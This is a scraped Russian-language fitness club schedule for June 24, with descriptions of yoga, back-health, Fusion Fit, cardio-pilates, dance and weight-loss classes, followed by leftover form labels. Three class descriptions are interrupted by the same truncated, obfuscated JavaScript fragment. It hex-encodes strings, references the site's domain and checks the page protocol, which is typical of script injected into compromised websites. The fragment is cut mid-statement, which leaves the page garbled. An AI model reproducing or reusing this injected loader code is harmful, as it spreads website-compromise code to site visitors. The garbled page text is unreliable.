Июн
24
Пн
Авторский фитнес от Макаренко Алины
Июн 24 @ 17:30 – 18:30

Fusion Fit– комплекс тренировок, состоящий из разнообразных направлений фитнеса.

Комплекс направлен на коррекцию веса и линейных параметров, повышение тонуса мышц, развитие общей выносливости организма, гибкости, силы.

Во время тренировок выполняются комплексы упражнений, охватывающие все группы мышц, особое внимание уделяется «проблемным зонам».

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return «www.malibu-sport.com.ua»},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e

Йога
Июн 24 @ 17:50 – 19:00

Йога является отличным способом поддержания себя в форме. С ее помощью можно не только снять стресс и подтянуть проблемные зоны, но и существенно похудеть. Упражнения обязательно задействуют самые крупные мышечные группы. Ваш бедра, живот, спина и ягодицы вынуждены работать буквально в каждой позе, а значит, расход калорий будет более существенным, чем в других статических тренировках.

Здоровая спина
Июн 24 @ 18:00 – 19:00

Проект «Здорова спина» — это комплекс упражнений, который поможет вам укрепить мышцы спины (шейного, грудного и поясничного отдела), косые мышцы живота (пресс), мышцы рук.
Наш проект рассчитан для мужчин и женщин любого возраста с любым уровнем физической подготовки.
Основные цели: растяжка, укрепление, активизация тонуса мышц.
Дополнительные цели: облегчение боли в спине, коррекция осанки и повышение настроения, улучшения самочувствия.

Комплекс рассчитан для людей с диагнозами: сколиоз, остеохондроз позвоночника, прострузия межпозвоночного диска, межпозвоночная грыжа (до 0,5 см). Так же, для людей которые ведут малоподвижный образ жизни или большую часть рабочего времени проводят за компьютером и чувствуют боли в спине.

Группы до 4 человек, что позволяет соблюсти индивидуальный подход.

Авторский фитнес от Макаренко Алина
Июн 24 @ 18:30 – 19:30

Fusion Fit – комплекс тренировок, состоящий из разнообразных направлений фитнеса.

Комплекс направлен на коррекцию веса и линейных параметров, повышение тонуса мышц, развитие общей выносливости организма, гибкости, силы.

Во время тренировок выполняются комплексы упражнений, охватывающие все группы мышц, особое внимание уделяется «проблемным зонам».

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return «www.malibu-sport.com.ua»},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e

Fitness Hard
Июн 24 @ 19:00 – 20:00

Fitness Yoshpa — система упражнений для коррекции и пропорционального развития фигуры, выработки осанки и пластичности.

Фитнес-микс
Июн 24 @ 19:00 – 20:00

Фитнес-микс – это уникальный комплекс упражнений, гармонично сочетающий в себе аэробные техники, силовые блоки, статическую гимнастику и стретчинг. Если вы хотите повысить уровень функциональных возможностей организма, развить физические качества (выносливость, работоспособность, тонус), улучшить координацию движений, а также сбросить лишний вес и скорректировать проблемные места, мы ждем вас на тренировках по фитнес-миксу!

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return «www.malibu-sport.com.ua»},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e

Начни с себя
Июн 24 @ 19:30 – 20:30

Авторская программа. Тренировки с индивидуальным подходом, группы до 10 чел.

CardioPilates
Июн 24 @ 20:00 – 21:00

CardioPilates —  комплекс упражнений, состоящих из кардионагрузок, сжигающих жир, и движений пилатеса. Методика кардио-пилатеса помогает укреплению мышц, как пресса, так и спины, улучшает осанку и координацию движений, увеличивает подвижность суставов и гибкость тела. Кроме этого, тренировки способствуют развитию глубоких мышц живота.

Fit Dance
Июн 24 @ 20:00 – 21:00

то танцевальная аэробика под музыку. В основе лежат базовые движения латино-американских, бальных танцев, хип-хопа и джаз-модерна, которые постоянно повторяются. Это отличный способ сбросить лишние килограммы, развить пластику и регулярно получать дозу хорошего настроения, ведь танцевальные мотивы хочешь-не хочешь, а настроят на позитив.

Я могу
Июн 24 @ 20:00 – 21:00

Я Могу! Уникальная трехмесячная программа интенсивного похудения. Тренерами программы являются лучшие тренера сети фитнес-клубов «Малибу». Занятия проводятся в групповых залах и в тренажерном зале. В программу входят консультации по питанию и поддержка психолога

Чтобы узнать более подробную информацию и начать заниматься уже сейчас, обращайтесь по телефонам:

Получить занятие + персональную тренировку за 0 грн

Присоединяйтесь к нам, будьте в курсе всех акций и событий:

Оставьте заявку и мы свяжемся с
Вами в течение 20 минут

Это поле обязательное для заполнения

Некорректный ввод

Это поле обязательное для заполнения

Некорректный ввод

Получить скидку

Это поле обязательное для заполнения

Некорректный ввод

Это поле обязательное для заполнения

Некорректный ввод

Это поле обязательное для заполнения

Некорректный ввод

ЗАПИСАТЬЯ НА ПРОБНОЕ ЗАНЯТИЕ

Это поле обязательное для заполнения

Некорректный ввод

Это поле обязательное для заполнения

Некорректный ввод